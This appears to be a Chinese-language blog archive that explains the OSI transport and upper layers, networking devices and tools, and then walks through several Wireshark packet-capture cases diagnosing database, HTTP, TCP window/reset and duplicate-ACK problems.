    传输层的必要性

    屏蔽“有连接 or 无连接”的差异

    网络层本身已经屏蔽了【异种网络】的差异(比如“以太网、ATM、帧中继”之间的差异),而且网络层也屏蔽了路由的细节。但网络层本身还有一个差异,也就是网络层的两种交换技术:电路交换(有连接) VS 分组交换(无连接)。

    上述两种交换技术各有很多支持者,并分裂为两大阵营。当年设计 OSI 模型的时候,为了保持中立性与通用性,并没有强制规定“网络层”必须采用何种交换机制。

    对于开发网络软件的程序员来说,当然不想操心“网络层用的是哪一种交换机制”。因此,需要对网络层的上述差异再加一个抽象层(也就是“传输层”)。

    从“主机”到“进程”

    前面介绍的“网络层”,其设计是面向主机(电脑)。“网络层地址”也就是某个主机的地址。而“传输层”是面向【进程】,因为传输层要提供给【网络软件】使用,而网络软件打交道的对象是【另一个网络软件】。因此,传输层必须在“网络层地址”的基础上,再引入某种新的标识,用来区分同一台主机上的不同【进程】。

    传输层的特殊性

    在 OSI 7层模型中,传输层正好居中。这是一个很特殊的位置。OSI 模型最下面3层,与【网络设备】比较密切。这里面所说的“网络设备”,既包括那些独立的主机(比如“路由器、交换机、等”),也包括电脑上的硬件(比如“网卡”)。

    OSI 模型最上面3层,与【网络软件】比较密切(或者说,与“用户的业务逻辑”比较密切)。而中间的传输层,正好是承上启下。对于开发应用软件的程序猿/程序媛,“传输层”是他们能感知的最低一层。

    传输层的【端口】

    刚才谈“传输层的必要性”,提到说:“网络层地址”只能标识【主机】,而传输层必须要能标识【进程】。为了达到这个目的,于是就引入了“传输层端口”这个概念(后续简称为“端口”)。

    在 OSI 模型中,“端口”的官方称呼是“传输服务访问点”( TSAP)。但是作为程序员,俺已经习惯于“端口”这个称呼。后续介绍依然用“端口”一词。

    当程序员使用传输层提供的 API 开发网络软件时,通常把“端口”与“网络地址”一起使用(构成“二元组”),就可以定位到某个主机上的某个进程。

    传输层:具体实例

    传输层的【协议】

    为了让程序员可以更爽地使用传输层来开发网络软件,传输层既要提供“有连接”的风格,也要提供“无连接”的风格。具体到“互联网协议族”,有两个主要的传输层实现,分别是 TCP & UDP(前者是“有连接”,后者是“无连接”)。

    除了 TCP & UDP,“互联网协议族”还提供了其它一些传输层协议。因为比较冷门,就不再一一介绍。

    传输层的【协议实现】

    对于电脑主机(含移动设备),传输层的协议实现通常包含在操作系统自带的网络模块中(也就是“操作系统协议栈”)。具体参见如下示意图。另外,还有一些专门的【4层】网络设备,也提供传输层的功能。

    OSI 模型中不同层次的协议实现

    套接字(socket API)

    传输层是面向程序员(让他们可以更方便地开发网络软件)。因此,就需要提供一些封装传输层的【库】(API)。程序员只需要调用这些【库】,就可以使用传输层的协议进行通讯。影响力最大的传输层封装库,当然是 socket API。它来自加州大学伯克利分校。

    在互联网诞生初期,伯克利分校开发了一个 UNIX 操作系统的的变种,叫做“伯克利 UNIX 发行版”(BSD Unix),也就是如今 BSD 操作系统的前身。伯克利发行版内置了一套用来进行网络编程的 API,当时叫做“伯克利套接字”(Berkeley sockets)。由于这套 API 用起来很方便,很多其它的 UNIX 变种也移植了这套 API,于是就逐渐成了业界的事实标准。到了上世纪90年代,Windows & Linux 也都提供了这套 API。

    传输层相关的【网络设备】

    4层交换机(Layer 4 switching)

    前面已经介绍了“3层交换机”,“4层交换机”是其进一步的改良,可以识别传输层的协议,获取 TCP or UDP 的端口号。有了这个能力,网管就可以在这种交换机上配置一些管理策略。比如说:(根据传输层端口号)过滤掉某种流量,或者对某种流量设置转发的优先级。

    状态防火墙(stateful firewall

    网络防火墙分好几种,大部分属于这种。它能完全处理 TCP 协议的状态,显然它属于“4层”(传输层)。

    传输层相关的【软件工具】

    netcat 家族:传输层的“瑞士军刀”

    netcat的功能的强大——很多与 TCP/UDP 相关的事情,都可以用 netcat 搞定。另外,netcat 还有很多衍生品(衍生的开源项目),构成一个丰富的 netcat 家族。在上述教程也有介绍。

    netstat & ss

    Windows 和 POSIX(Linux&UNIX)都有一个 netstat 命令,可以查看当前系统的 TCP/UDP 状态(包括当前系统开启了哪些监听端口)。另外,Linux 上还有一个 ss 命令,功能更强(但这个命令在 Windows 上默认没有)

    nmap

    这是最著名的开源的扫描器,可以扫描远程主机监听了哪些传输层端口(注:前面提到的“netcat 家族”也可以干这事儿),nmap 的功能很强大,“端口扫描”只是其功能之一。

    业务层(OSI 上三层):概述

    前面的章节说过:【上三层】更接近于“网络软件”,对应的是应用软件的业务逻辑,因此统称为“业务层”。

    注:有些书(比如《计算机网络》)会把 OSI 的上三层统称为“应用层”。由于 OSI 模型中本来就有一个“应用层”,这样容易搞混,所以另外起了一个“业务层”的名称。

    业务层的必要性

    业务层显然是必要的。因为传输层位于操作系统,它不可能去了解网络软件的业务逻辑。为了让网络软件能够相互通讯,肯定要在传输层之上再定义更高层的协议。

    问题在于:网络软件千奇百怪,其业务逻辑各不相同,因此,“业务层如何设计”,【无】一定之规。有些软件只用一个协议来搞定所有的业务逻辑(只有一层);有些软件会参考 OSI,把业务逻辑的协议分为三层;还有些软件可能会分出更多的层次。

    再强调一下:业务层的协议如何分层,完全看具体的业务逻辑,不要生搬硬套任何现有的参考模型。

    会话层 & 表示层 & 应用层

    对于大部分读者来说,【没必要】花时间去了解 OSI 最上面三层之间的区别。你只需把最上面三层视作都是与网络软件的业务逻辑密切相关的。

    那么,哪些人需要详细了解“这三层的差异”?

    如果你是个程序员,并且你正好是开发【网络】软件,俺建议你了解一下 OSI 模型的最上面三层,有助于你更深刻地思考某些网络协议的设计。

    业务层(OSI 上三层):具体实例

    业务层的【协议】

    业务层的协议非常多。即使光把各种协议的名称列出来,也很费劲。这里只点评几个特别重要的协议。

    HTTP 协议

    如果让俺评选最重要的业务层协议,俺首推 HTTP 协议。互联网的普及推动了 Web 的普及,而 Web 的普及使得 HTTP 成为信息时代的重要支柱。当你上网的时候,你看到的网页(HTML 页面)就是通过 HTTP 协议传输到你的浏览器上。

    如今 HTTP 已经不仅仅用来展示网页,还有很多业务层的协议是建立在 HTTP 协议之上。比如RSS 订阅,RSS 阅读器需要调用博客平台提供的 RSS 接口,这些 RSS 接口就是基于 HTTP 协议传输。

    SSL/TLS 协议

    最早的 HTTP 协议是【明文】,为了强化安全性,后来又设计了 SSL 协议,用来【加密】HTTP 流量;再后来,SSL 升级为 TLS(这俩是同义词)。如今经常看到的 HTTPS 相当于“HTTP over TLS”。

    SSL/TLS 设计得比较优雅(很灵活),使得其它业务层的协议可以很方便地架构在 SSL/TLS 之上。这样的好处是:其它协议就不用自己再设计一套加密机制&认证机制。

    域名相关的协议(DNS 及其它)

    域名相关的协议,也很重要。因为域名系统是整个互联网的基础设施。最早的域名查询协议是“DNS 协议”,由于这个协议【没有】加密,导致了一些安全隐患。因此,后来又设计了一系列新的域名协议,引入了加密的机制。

    业务层相关的【网络设备】

    应用层防火墙(application firewall

    前面提到了:大多数网络防火墙处于4层(状态防火墙),另外还有少数处于7层,也就是“应用层防火墙”(有时候也称之为“7层防火墙”)。一般来说,这类防火墙具备了【深度包检测】(deep packet inspection,简称 DPI)的能力,可以分析应用层协议的【内容】。

    简单说一下“深度包检测”:如果某个网络设备,仅仅分析“应用层协议”本身,它还【不够格】称之为 DPI。为了做到 DPI,还要能理解应用层协议所承载的【内容】。

    比如说:某人通过【明文】的 HTTP 协议从网上下载了一个 zip 压缩包。对于这个下载行为,那些做得好的 DPI 设备不光能识别出“HTTP 协议的内容是 ZIP 压缩包”,而且还能从 ZIP 压缩包中提取出里面的文件。

    入侵检测(intrusion detection system

    一般来说,“入侵检测”如果不加定语,通常指“【网络】入侵检测”(NIDS);另外还有一种“【主机】入侵检测”(HIDS)。HIDS 与本文无关。

    “入侵检测”是一种网络安全设备,它通过嗅探(sniffer)的方式抓取网上的数据包,然后进行分析,尝试发现网络中是否存在黑客/骇客的入侵的行为。故名“入侵检测”。

    由于 IDS 需要理解【应用层】(7层)的内容,因此它与“应用层防火墙”有个共同点,需要具备某种程度的 DPI(深度包检测)能力。它俩的一大差异是【部署方式】。简单说一下“旁路部署”,所谓的“旁路部署”类似于电路中的【并联】。通俗地说:IDS 是【并联】部署,防火墙是【串联】部署。

     

    杂项

    代理(proxy)

    代理服务器(proxy server)
    “代理服务器”部署在“客户端 & 服务端”之间,起到某种“中介”的作用。“代理服务器”的类型有很多,干的事情各不相同。

    代理服务器简单示意图

    网关(gateway

    前面的某些章节,已经稍微提及了“网关”这个概念,但还没有具体介绍它。严格来讲,“网关”是一个逻辑概念,【不要】把它当成具体的网络设备。充当“网关”的东东,可能是:路由器 or XX层交换机 or XX层防火墙 or 代理服务器等

    “网关”也分不同的层次。如果不加定语,通常指的是“3层网关”(网络层网关)。列几种比较常见的,供参考:

    • 路由器充当网关:3层(网络层)
    • 3层交换机充当网关:3层(网络层)
    • 4层交换机充当网关:4层(传输层)
    • 应用层防火墙充当网关:7层(应用层)
    • 代理服务器充当网关(取决于代理的层次,参见前一个小节)
    • ……

    隧道协议(tunneling protocol

  • Wireshark抓包实例诊断数据库常见问题(六)

    Wireshark抓包实例诊断数据库常见问题(六)

    介绍

    通常来说,数据库,应用和网络在IT架构中处于不同的分支。数据库的故障排查由DBA来完成,但是网络工程师仍可以从抓包中定位出问题并不出自网络。当IT抱怨“网速慢”,实际并不一定是这样。下文帮助我们验证所谓“网速慢”的问题。

    更多信息

    工作过程:

    对于数据库问题,按照以下步骤:

    1. 当怀疑是“慢速网络响应”时,问以下问题:
      • 问题发生于本地还是全局?是只发生在远端办公室,还是center也有发生?如果整个网络都出现问题,就不会是WAN带宽问题。
      • 对于所有客户端是否都发生了这样的问题?如果只是某些特定用户碰到问题,则可能是这些用户运行了某些应用导致。
      • 客户端和服务器之间通讯链路是否过载?导致过载的应用是什么?
      • 是所有应用都运行缓慢,还是使用特定数据库的应用运行缓慢?是PC比较老旧,还是服务器资源耗尽?
    2. 搞清楚上述问题之后,开始故障排查:
      1. 打开Wireshark开始抓包。可以将对端端口连到PC,服务器,VLAN,或连接远端客户端的路由器。
      2. 在expert info中查看TCP事件。这些事件发生在整个通信链路,或是特定的IP地址,还是特定的TCP端口?此操作能够帮助定位问题并验证是否发生于特定链路,服务器,或是应用。测试连接到Internet的数据流时,可能会得到发往站点或mail server(诸如此类)的很多重传以及重复ACK。在组织内部,重传范围应当在百分之0.1至0.5。连接到Internet时,可能会高得多。
    3. 当你看到网络上有问题时,按照前几张的故障排查步骤给予解决。但是,也有些网络问题会影响数据库操作。下例中,可看到客户端与服务器通信链路往返延时达到35至40ms。
      1. 我们查看TCP stream 8(1),连接开始于TCP SYN/SYN-ACK/ACK。如下图(2)所示。可以看到整个连接花费了371个报文(3)。

    2. 连接继续,可见到DB请求与响应之间时间间隔大约35ms。

    1. 由于往返已经有371个报文,371X35 ms大约是13秒。加上可能发生一些重传导致延时,用户查询一次数据库可能要等待10至15秒。
    2. 这种情况下,应当与DBA讨论怎样大幅减少网络上传输的报文数量,或是改变终端服务器或网络接入的方式。

    4. 另一个可能发生的问题是抓包文件反映出有软件问题。以下截图中可看到5个重传(1),并且客户端打开了一个新的连接(3)。看起来像一个TCP问题但只发生在软件中一个特定窗口。这只是由于一个软件进程停止运行,因此TCP无法对客户端作出响应(2)。

    更多建议:

    右键数据库客户端与服务器会话报文,会打开一个窗口,有助于DBA查看网络问题。当碰到延时问题时,例如,通过移动电话接入Internet,数据库客户端到服务器的通讯可能效率低下。可能需要切换接入方式。

    很重要的一点是搞清楚数据库的工作模式。如果客户端正在接入数据库服务器,数据库服务器正在使用从另一台服务器共享的文件,可能客户端——服务器工作良好,但问题可能出在数据库服务器与文件服务器之间共享文件上。确保在开始测试之前确知所有依赖条件。

  • Wireshark抓包实例分析HTTP问题(五)

    Wireshark抓包实例分析HTTP问题(五)

    介绍

    HTTP的问题可能是由于慢速服务器或客户端,TCP性能问题,本文讨论上述问题以及其他可能因素。

    更多信息

    诊断过程:
    浏览网页性能变差的原因有很多,需要逐步分析。步骤如下:

    1. 首先,不仅要确认网络负载状况,还要注意通信链路上的出错率,以及导致性能变差的最明显的表现;
    2. 诊断TCP问题,检查以下细节:
      • 在Expert info窗口,确保没有太多重传以及重复ACK(百分之0.5至0.8尚可忍受)。
      • 确保HTTP连接上没有reset,可能由于防火墙或站点限制引发。
    3. 确保没有以下DNS问题:
      • 慢速响应时间
      • 域名未找到

    如果以上均不适用,就需要对HTTP深入研究。

    注意:将网络和IT环境看作一个整体。对于慢速网络浏览应用,TCP问题亦不能分离于HTTP,DNS问题。可能是由于慢速HTTP服务器,因服务器的慢速响应而产生了TCP重传。或者,由于DNS慢速服务器,打开网页可能需要好几秒钟。一步步定位问题就好了。

    当你第一次打开一个网页,可能需要几秒钟。在这种情况下,应当查看以下情况:

    1. 检查线路是否过载
    2. 检查线路延时(通过ping工具)
    3. 查看错误代码,通常能看到浏览器报错原因,但并不总是能看到。
    4. 配置过滤器http.response >= 400并查看有多少错误。以下章节,你会看到需要注意的示例。

    Informational codes:

    Success codes:

    Redirect codes:

    Client errors:

    以下示例是一个简单的客户端报错。按照以下步骤进行操作:

    1. 右键有报错的报文。
    2. 选择Follow TCP stream,会看到以下窗口:

    3. 显示以下内容:

    • 客户端尝试浏览URI/poker-client/broadcast.htm(如截屏中1和3所示)
    • URI通过http://www.888poker.com/poker-client/promotions.htm转发(截屏中2所示)
    • 状态码为404 Not Found(如截屏中4所示)

    Client errors:

    服务器不可用(错误代码503)可能有多种原因。以下示例是一个小办公室碰到的问题:员工能够访问Facebook,但当他们点击站点上的链接,则显示页面被拦截。以下截屏中,可看出页面被防火墙拦截:

    工作原理:

    标准的HTTP浏览模式如下:

    1. TCP打开连接(三路握手信号)
    2. HTTP发送GET命令
    3. 数据下载到浏览器

    在一个网页打开多个连接的情况下(大多数网页都是如此)。每个连接需要一个DNS 查询,响应,TCP SYN-SYN/ACK-ACK,以及HTTP GET。之后数据才会出现在显示屏上。

    当你在packet detail面板没有看到显示内容时,右键报文并选择Follow TCP stream,会看到连接的细节数据。另一个广泛应用的工具是Fiddler,Fiddler是HTTP故障排查的免费工具。

  • Wireshark抓包实例分析TCP窗口及reset(四)

    Wireshark抓包实例分析TCP窗口及reset(四)

    介绍

    TCP最重要的机制之一是滑动窗口机制,以及用以控制TCP终端节点愿意接收的数据总量的流控机制。

    TCP reset可以在几种情况下被发送。有一些是协议的正常工作过程,有一些则表明可能有问题。本节中,我们查找问题以及分析解决问题的方法。

    更多信息

    TCP窗口问题:

    TCP零窗口,零窗口探测,零窗口违例

    TCP零窗口:发生于接收方在TCP头部的window字段广播接收窗口零字节的时候。这一事件告知发送方停止发送数据,因为接收方缓存已满。这也表明接收方可能发生以下问题:

    • 服务器无法为进程分配组后的内存
    • 应用碰到没有足够内存的问题,因此TCP需告知发送方停止发送数据
    • 应用消耗太多内存因此操作系统要限制应用资源

    TCP零窗口探测:由发送方发出,以查看接收方的零窗口是否依然存在。这一消息通过发送下一字节数据给接收方,如果接收方回复窗口大小仍然为零,则发送方的探测计时器加倍。

    TCP窗口违例:发送方忽略接收方的零窗口大小并发送额外字节数据。TCP零窗口违例表明
    协议栈中有TCP错误。为了检查是何问题,检查是否有以下事件:

    • 某一终端设备(服务器或客户机)报出终端设备故障
    • 某一应用报出常规应用错误
    • 应用中执行某一操作时报错,例如,打开一个表格,发送一份文件至打印机,创建一个报告,或其他操作。这种情况下,是应用问题。

    TCP窗口更新

    TCP将窗口更新:发送至连接的对端,以表明缓存大小更改,并且准备好接受更高或更低的数据速率(缓存大小决定了发送方被允许的发送速率)。这一情况发生于:

    • TCP接收方从零窗口中恢复,告知发送方重新发送速率。这一情况下,无需进行处理,只需检查第一次导致零窗口的问题。
    • TCP接收方频繁更改窗口大小。该情况下检查接收方被干扰的原因。可能是应用问题,内存问题,或终端设备上的其他问题。

    看到这类现象无需担心,这就是TCP的工作机制。

    TCP窗口已满

    这一信息表明已发送的报文会完全填满接收方的接收缓存。发生于接收方没有对先前接收到的数据发出任何ACK确认信息,因此,这将会成为发送方从接收方收到ACK之前的最后一个报文数据。

    这一事件的触发原因与触发零窗口的原因相同,是服务器或应用无响应的标志。典型实例如下图所示:

    上图中可以看到:

    1. 报文183816,192.168.2.138告知192.168.1.58发送窗口已满。
    2. 下一个报文,192.168.1.58发送一个信号至192.168.2.138,告知对方停止发送数据。这是一个零窗口信号。
    3. 双方继续发送零窗口以及零窗口探测。
    4. 连接的最后一个报文是192.168.2.138发送的RST报文,目的是断开连接。
    5. 某些情况下零窗口可以通过窗口更改信息来回复。某些情况下可通过reset来关闭(可以是应用零窗口从而没有收到任何数据导致)。

    工作原理

    TCP滑动窗口机制如下:

    1. 连接建立之后,发送方将数据发送至接收方,填入接收窗口。
    2. 若干报文之后,接收方发送ACK至发送方,确认接收到其发送的字节数。发送ACK将接收窗口清零。
    3. 这一过程持续下去,发送方向窗口中填入数据,接收方清空并发送确认信息。
    4. 扩大接收窗口大小告知发送方增加吞吐量,减小窗口告知对方减小吞吐量。这一机制按照WS/RTT规则(随着TCP版本不同而有所改变):

    也可以通过TCP吞吐量图表和IO图来查看问题。在TCP吞吐量图表中,使用TCP trace图表,上面一行显示了窗口大小,与下面一行的距离表明窗口的剩余大小。没有距离表示零窗口。

    两行之间的固定距离表明接收方工作良好。当两行渐渐靠近,表明发送方速度高于接收方。只要这两行没有重叠,TCP就会继续发送数据。

    TCP reset及原因:

    在可疑的链路或服务器两端连接Wireshark,开始抓包。观察抓包窗口的每一个窗口信息。TCP reset可以在几种情况下被发送。有一些是协议的正常工作过程,有一些则表明可能有问题。本节中,我们查找问题以及分析解决问题的方法。

    reset是用以告知接收方断开连接的TCP信号,通过将RST标志位置1来发送。正常的操作过程中,TCP通过SYN信号打开连接,通过FIN信号关闭连接。TCP的一大特性在于有问题时,或只是为了更好的性能,它能够快速关闭连接。

    无故障时发送reset

    TCP关闭连接的标准方式是通过FIN和FIN-ACK信号。为了关闭连接,用户需要四个报文:来自一方的FIN/ACK和ACK,以及另一方的同样报文。当你打开一个网页,可能同时打开了数十个连接(主页,新闻,广告,定期更新的图片等),要关闭所有这些有时需要数百个FIN和FIN-ACK报文。为了防止其发生,web服务器在很多情况下会在发送请求数据之后用reset断开连接。这是标准的做法,并取决于应用程序。

    有故障时发送reset

    某些情况下reset表明有故障发生(并不一定是通信故障):

    • 防火墙发送的reset:当远端服务器尝试打开连接但没有结果时,也许会看到返回RST信号。这是防火墙阻隔连接的情况。下图中,可看到发送的每一个SYN都返回以RST。
    • 由于收发一方有问题发送的reset:可能的原因如:
      • 五个连续没有收到ACK回复的重传。当发送方没有收到任何重传回复,它就会发送一个reset信号到对端,告知其断开连接。
      • 另一个原因是连接之上几分钟都没有任何数据(分钟数取决于系统默认)。打开连接的一方通常会发送reset(但并不总是会这样做,取决于实现方式)。
  • Wireshark抓包实例分析TCP重复ACK与乱序(三)

    Wireshark抓包实例分析TCP重复ACK与乱序(三)

    介绍

    TCP的一大常见问题在于重复ACK与快速重传。这一现象的发生也是由于性能问题,本章讨论如何发现这一问题以及他们意味着什么。

    另一个常见问题是前一片段丢失以及乱序片段。某些情况下,这一现象喻示着故障发生,可能是由于网络问题或是抓包中断。

    更多信息

    重复ACK与快速重传:

    当网速变慢时,重复ACK是可能的原因之一。大多数情况下,重复ACK的发生是由于高延时,延迟的变化,或无法响应ACK请求的慢速终端。

    1. 当重复ACK的数量保持在合理范围时,即1或2个百分比,则可能不是本机问题。
    2. 当有大量的重复ACK时(假设有10个),则可能:
      • 通信链路繁忙引起延迟改变
      • 服务器或客户端无响应
    3. 快速重传是对重复ACK的响应报文。
    4. 下图是该问题的示例。本例中51个重复ACK之后发生了快速重传:
    1. 以下是如何解决该问题:
      • 如果重复ACK和重传数量较少(少于1个百分比),是可以接受的。
      • 如果重复ACK发生在无线网络环境,或是Internet之上的连接,延时或是延时的改变对于这类网络来说很常见,所以也没有什么可做的。
      • 如果发生在组织内的网络,则可能有问题。如果发生在LAN之上,检查严重的问题,例如缓存和CPU负载,慢速服务器,等等。如果发生在WAN之上,查看延时,负载以及线路不稳定。

    工作原理

    当发现有丢失报文时(期望的序列号没有收到),或者收到了预期之外的序列号。这种情况下,接收端生成一个ACK,声明自己希望收到的下一个序列号。接收方持续生成丢失片段的ACK请求,直到实际收到。

    在发送方,当它收到三个相同的ACK(初始ACK和两个重复ACK),就会假设有报文丢失并重传该报文,无论重传计时器是否过期。再次发送的报文称为快速重传。

    重复ACK也减少了发往网络的吞吐量。减少了多少吞吐量取决于TCP版本。比较早期的TCP版本中出现了重复ACK,发送方将吞吐量减少为之前的一半。在多个DupACK的情况下,吞吐量减到最小。

    下图显示了重复ACK和重传的典型例子,本图中第一次重复ACK将吞吐量降低至大约40%,之后重传将吞吐量减至最小。

    乱序报文:

    在两端抓包,乱序情况下需要关注三种现象:

    • 先前片段丢失:当前收到报文的序列号高于该连接的下一个期望序列号时,表明之前的一个或多个报文未能到达
    • 乱序报文:当前报文的序列号低于该连接先前收到的报文
    • 先前片段未能捕捉:(Wireshark 1.8.x及以上版本):同先前报文丢失。

    何时发生?

    用户可能在以下情况看到乱序报文:

    • 连接开始时抓包:当建立连接时抓包,这时,看到连接上的报文没有SYN/SYN-ACK/ACK,因此,Wireshark认为连接有问题。
    • 确实有报文丢失:这时会看到丢失报文重传和/或重复ACK告知发送方重传丢失报文。

    上图是报文丢失的典型示例。从图中可见,10.0.0.6尝试浏览站点62.90.90.210。这一过程中, TCP片段每个1420字节发送到web服务器,334到336之间3个报文丢失,338到340之间2个报文丢失。两者Wireshark都有提示:TCP’s previous segment is not captured.

    • 延时变化:这可能是由于报文从源地址到目的地址经由不同的路由。检查这一点可以使用Tracert,在源和目的地址之间查找路由改变。如果在公司内部网络上是可以做到的,例如,在路由器上配置trap。
    • 数据捕捉问题:可能报文正常收发,但Wireshark没有捕捉到。可能有以下几种原因:
      • 数据量比较大时,Wireshark在高比特率的情况下可能会丢失报文(高于150-180Mbps)。要避免这一问题,使用其他工具(大多数需要付费)。
      • 台式机不够强大,内存或CPU无法让Wireshark工作的足够快。这一点很好发现。
      • 当LAN交换机的端口缓存太小,报文可能被丢弃。连接到交换机(用控制台或telnet连接)使用交换机命令行来检查该问题。
      • 无线网络抓包,由于某种原因没有看到所有发送报文。

    总结

    乱序报文的原理很简单。TCP发送以其字节数为编号的报文到接收方。当一个报文没有按照顺序到达时,Wireshark就会注意到。原因有两点:

    • 确实有问题:这时会看到重传和重复ACK,这是TCP对于收到乱序报文的响应。
    • 抓包问题:这时仅看到乱序报文,但没有看到对可能丢失及乱序报文的响应,可能实际上并没有问题。